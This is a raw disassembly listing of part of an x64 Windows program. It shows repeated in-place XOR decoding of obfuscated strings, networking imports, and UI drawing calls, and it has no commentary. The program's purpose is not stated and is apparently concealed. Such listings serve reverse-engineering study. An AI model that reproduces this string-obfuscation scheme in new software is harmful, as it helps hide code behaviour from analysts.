punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov eax, dword [rbp - 0x50]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140165590]
xorps xmm1, xmm0
movd dword [rbp + 0x6c8], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6cc]
xorps xmm2, xmm1
movd dword [rbp + 0x6cc], xmm2
movdqa xmm2, xmmword [0x140167eb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x6d0], xmm2
mov r8d, recvfrom
mov eax, r8d
lea r9, [rbp + 0x6c8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400967a0
lea rax, [rbp + 0x6c8]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], r12b
jne 0x1400967e0
lea rdx, [rbp + 0x6c8]
lea rcx, [rbp + 0x14d8]
call fcn.140080e60
lea rcx, [rbp + 0x14d8]
cmp qword [rbp + 0x14f0], 0xf
cmova rcx, qword [rbp + 0x14d8]
call fcn.14004e760
mov dword [rbp + 0x378], 0x42480000
mov dword [rbp + 0x37c], 0x43340000
lea rcx, [rbp + 0x378]
call fcn.140025c50
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rbx + 0xd4], xmm0
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r14, qword [0x14019a288]
mov rcx, r14
call fcn.14004e760
mov dword [rbp + 0x380], 0x42480000
mov dword [rbp + 0x384], 0x43520000
lea rcx, [rbp + 0x380]
call fcn.140025c50
mov rcx, rdi
call fcn.140025a50
mov rdx, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14019a2a8]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r15, qword [0x14019a228]
mov r8, qword [0x14019a238]
cmp r8, qword [0x14019a2b8]
jne 0x140096c17
mov rcx, r15
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140096c17
movdqa xmm0, xmmword [0x1401253d0]
movups xmmword [rbx + 0xd4], xmm0
movups xmm2, xmmword [str.F_QGTXYKe]
movups xmmword [rbp + 0xce0], xmm2
movsd xmm0, qword [0x1401655e0]
movsd qword [rbp + 0xcf0], xmm0
movzx eax, word [0x1401655e8]
mov word [rbp + 0xcf8], ax
cmp byte [0x1401655e9], 0
je 0x140096bf0
mov r8d, r12d
cmp esi, 2
jl 0x140096ba7
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov ecx, dword [rbp - 0x50]
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xce0], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xce4]
xorps xmm2, xmm1
movd dword [rbp + 0xce4], xmm2
movdqa xmm2, xmmword [0x140167eb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xce8]
xorps xmm2, xmm1
movd dword [rbp + 0xce8], xmm2
movdqa xmm2, xmmword [0x140167ec0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xcec]
xorps xmm2, xmm1
movd dword [rbp + 0xcec], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm8
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xcf0]
xorps xmm2, xmm1
movd dword [rbp + 0xcf0], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xcf4]
xorps xmm2, xmm1
movd dword [rbp + 0xcf4], xmm2
mov r8d, Ordinal_27
mov eax, r8d
lea r9, [rbp + 0xce0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140096bc0
lea rax, [rbp + 0xce0]
mov r14, 0xffffffffffffffff
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140096c01
lea rdx, [rbp + 0xce0]
jmp 0x140096ee2
movdqa xmm0, xmmword [0x140167f90]
movups xmmword [rbx + 0xd4], xmm0
movups xmm2, xmmword [0x1401655b8]
movups xmmword [rbp + 0xb98], xmm2
mov edx, dword [0x1401655c8]
mov dword [rbp + 0xba8], edx
movzx eax, word [0x1401655cc]
mov word [rbp + 0xbac], ax
cmp byte [0x1401655cd], 0
je 0x140096ec0
mov r8d, r12d
cmp esi, 2
jl 0x140096e81
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov ecx, dword [rbp - 0x50]
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xb98], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb9c]
xorps xmm2, xmm1
movd dword [rbp + 0xb9c], xmm2
movdqa xmm2, xmmword [0x140167eb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xba0]
xorps xmm2, xmm1
movd dword [rbp + 0xba0], xmm2
movdqa xmm2, xmmword [0x140167ec0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xba4]
xorps xmm2, xmm1
movd dword [rbp + 0xba4], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm8
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0xba8], xmm2
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [rbp + 0xb98]
add r9, rax
nop
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140096e90
lea rax, [rbp + 0xb98]
mov r14, 0xffffffffffffffff
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140096ed1
lea rdx, [rbp + 0xb98]
lea rcx, [rbp + 0x14f8]
call fcn.140080e60
lea rcx, [rbp + 0x14f8]
cmp qword [rbp + 0x1510], 0xf
cmova rcx, qword [rbp + 0x14f8]
call fcn.14004e760
mov dword [rbp + 0x388], 0x42480000
mov dword [rbp + 0x38c], 0x43660000
lea rcx, [rbp + 0x388]
call fcn.140025c50
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rbx + 0xd4], xmm0
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r13, qword [0x14019a2a8]
mov rcx, r13
call fcn.14004e760
mov dword [rbp + 0x390], 0x42480000
mov dword [rbp + 0x394], 0x43820000
lea rcx, [rbp + 0x390]
call fcn.140025c50
mov r13, rdi
mov rcx, rdi
call fcn.140025a50
lea rdi, [0x14019a2c8]
mov rdx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14019a2c8]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea rax, [0x14019a248]
cmova rax, qword [0x14019a248]
mov r8, qword [0x14019a258]
cmp r8, qword [0x14019a2d8]
jne 0x140097316
mov rcx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140097316
movdqa xmm0, xmmword [0x1401253d0]
movups xmmword [rbx + 0xd4], xmm0
movups xmm2, xmmword [str.Cpzf]
movups xmmword [rbp + 0xbe0], xmm2
movsd xmm0, qword [0x140165618]
movsd qword [rbp + 0xbf0], xmm0
movzx eax, word [0x140165620]
mov word [rbp + 0xbf8], ax
cmp byte [0x140165621], 0
je 0x1400972f0
mov r8d, r12d
cmp esi, 2
jl 0x1400972ac
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov ecx, dword [rbp - 0x50]
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xbe0], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbe4]
xorps xmm2, xmm1
movd dword [rbp + 0xbe4], xmm2
movdqa xmm2, xmmword [0x140167eb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbe8]
xorps xmm2, xmm1
movd dword [rbp + 0xbe8], xmm2
movdqa xmm2, xmmword [0x140167ec0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbec]
xorps xmm2, xmm1
movd dword [rbp + 0xbec], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm8
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbf0]
xorps xmm2, xmm1
movd dword [rbp + 0xbf0], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm11, xmm0
andps xmm11, xmm7
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, ecx
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0xbf4]
xorps xmm11, xmm1
movd dword [rbp + 0xbf4], xmm11
mov r8d, Ordinal_27
mov eax, r8d
lea r9, [rbp + 0xbe0]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400972c0
lea rax, [rbp + 0xbe0]
nop word [rax + rax]
inc r14
cmp byte [rax + r14], 0
jne 0x140097300
lea rdx, [rbp + 0xbe0]
jmp 0x1400975e1
movdqa xmm0, xmmword [0x140167f90]
movups xmmword [rbx + 0xd4], xmm0
movups xmm2, xmmword [0x1401655f0]
movups xmmword [rbp + 0xb68], xmm2
mov edx, dword [0x140165600]
mov dword [rbp + 0xb78], edx
movzx eax, word [0x140165604]
mov word [rbp + 0xb7c], ax
cmp byte [0x140165605], 0
je 0x1400975c0
mov r8d, r12d
cmp esi, 2
jl 0x140097580
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov ecx, dword [rbp - 0x50]
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xb68], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb6c]
xorps xmm2, xmm1
movd dword [rbp + 0xb6c], xmm2
movdqa xmm2, xmmword [0x140167eb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb70]
xorps xmm2, xmm1
movd dword [rbp + 0xb70], xmm2
movdqa xmm2, xmmword [0x140167ec0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb74]
xorps xmm2, xmm1
movd dword [rbp + 0xb74], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm8
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0xb78], xmm2
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [rbp + 0xb68]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140097590
lea rax, [rbp + 0xb68]
nop word [rax + rax]
inc r14
cmp byte [rax + r14], 0
jne 0x1400975d0
lea rdx, [rbp + 0xb68]
mov r8, r14
lea rcx, [rbp + 0x1518]
call fcn.140080e60
lea rcx, [rbp + 0x1518]
cmp qword [rbp + 0x1530], 0xf
cmova rcx, qword [rbp + 0x1518]
call fcn.14004e760
mov dword [rbp + 0x398], 0x42480000
mov dword [rbp + 0x39c], 0x438c0000
lea rcx, [rbp + 0x398]
call fcn.140025c50
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rbx + 0xd4], xmm0
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdi, qword [0x14019a2c8]
mov rcx, rdi
call fcn.14004e760
mov rcx, r13
call fcn.140025a50
mov dword [rbp + 0x3a0], 0x42480000
mov dword [rbp + 0x3a4], 0x439b0000
lea rcx, [rbp + 0x3a0]
call fcn.140025c50
movups xmm11, xmmword [0x140168000]
mov dword [rbp + 0x3a8], 0x42900000
mov dword [rbp + 0x3ac], 0x41f00000
movdqa xmmword [rbp - 0x80], xmm11
movups xmm0, xmmword [0x14019a2e8]
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rbp - 0x80]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x14019a7a8]
mov qword [rsp + 0x28], rax
lea rax, [0x14019a7a0]
mov qword [rsp + 0x20], rax
lea r9, [0x14019a798]
xor r8d, r8d
lea rdx, [rbp + 0x3a8]
lea rcx, str.___Back
call fcn.14003f280
test al, al
je 0x140097707
mov byte [0x14019b70e], 0
mov byte [0x14019b70d], 1
mov byte [0x14019b70c], 0
mov dword [rbp + 0x3b0], 0x440c0000
mov dword [rbp + 0x3b4], 0x40a00000
lea rcx, [rbp + 0x3b0]
call fcn.140025c50
movdqa xmm0, xmmword [0x140167fc0]
mov dword [rbp + 0x3b8], 0x41a00000
mov dword [rbp + 0x3bc], 0x41f00000
movdqa xmmword [rbp - 0x80], xmm11
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rbp - 0x80]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x14019a7c0]
mov qword [rsp + 0x28], rax
lea rax, [0x14019a7b8]
mov qword [rsp + 0x20], rax
lea r9, [0x14019a7b0]
xor r8d, r8d
lea rdx, [rbp + 0x3b8]
lea rcx, [0x140165814]
call fcn.14003f280
test al, al
je 0x1400977a2
mov byte [reloc.WS2_32.dll_accept], 0
mov rdx, qword [rbp + 0x1530]
cmp rdx, 0xf
jbe 0x1400977e6
inc rdx
mov rcx, qword [rbp + 0x1518]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400977e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400977e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011231c
movdqu xmmword [rbp + 0x1528], xmm6
mov byte [rbp + 0x1518], 0
mov rdx, qword [rbp + 0x1510]
cmp rdx, 0xf
jbe 0x140097839
inc rdx
mov rcx, qword [rbp + 0x14f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140097834
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140097834
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011231c
movdqu xmmword [rbp + 0x1508], xmm6
mov byte [rbp + 0x14f8], 0
mov rdx, qword [rbp + 0x14f0]
cmp rdx, 0xf
jbe 0x14009788c
inc rdx
mov rcx, qword [rbp + 0x14d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140097887
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140097887
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011231c
movdqu xmmword [rbp + 0x14e8], xmm6
mov byte [rbp + 0x14d8], 0
mov rdx, qword [rbp + 0x14d0]
cmp rdx, 0xf
jbe 0x1400978df
inc rdx
mov rcx, qword [rbp + 0x14b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400978da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400978da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011231c
movdqu xmmword [rbp + 0x14c8], xmm6
mov byte [rbp + 0x14b8], 0
call fcn.140015b00
mov r15d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x14019b70d], 0
je 0x140099568
mov qword [rbp + 0x3c0], 0x43160000
lea rcx, [rbp + 0x3c0]
call fcn.140025c50
mov rcx, r13
call fcn.140025a50
call fcn.1400198b0
mov rbx, rax
mov qword [rax + 0xf4], 0
mov dword [rax + 0xfc], r12d
mov dword [rax + 0x100], 0x3f000000
mov dword [rbp + 0x3c8], 0x44138000
mov dword [rbp + 0x3cc], 0x43e60000
movsd xmm0, qword [0x140165628]
movsd qword [rbp + 0x478], xmm0
movzx ecx, word [0x140165630]
mov word [rbp + 0x480], cx
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x1400979cb
mov byte [rbp + 0x478], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x479], 0x31
xor byte [rbp + 0x47a], 0x32
xor byte [rbp + 0x47b], 0x33
xor byte [rbp + 0x47c], 0x34
xor byte [rbp + 0x47d], 0x35
xor byte [rbp + 0x47e], 0x36
xor byte [rbp + 0x47f], 0x37
xor byte [rbp + 0x480], 0x38
xor byte [rbp + 0x481], 0x39
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x3c8]
lea rcx, [rbp + 0x478]
call fcn.140007c60
mov dword [rbp + 0x3d0], 0x42480000
mov dword [rbp + 0x3d4], 0x42480000
lea rcx, [rbp + 0x3d0]
call fcn.140025c50
mov dword [rbp + 0x3d8], 0x43f50000
mov dword [rbp + 0x3dc], 0x43480000
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x4000
lea r9, [rbp + 0x3d8]
mov r8d, 0x200
lea rdx, [0x14019b860]
lea rcx, [0x140119ac4]
call fcn.140049be0
mov dword [rbp + 0x3e0], 0x42480000
mov dword [rbp + 0x3e4], 0x43870000
lea rcx, [rbp + 0x3e0]
call fcn.140025c50
movss xmm1, dword [0x14011fef4]
movaps xmm0, xmm1
unpcklps xmm0, xmm1
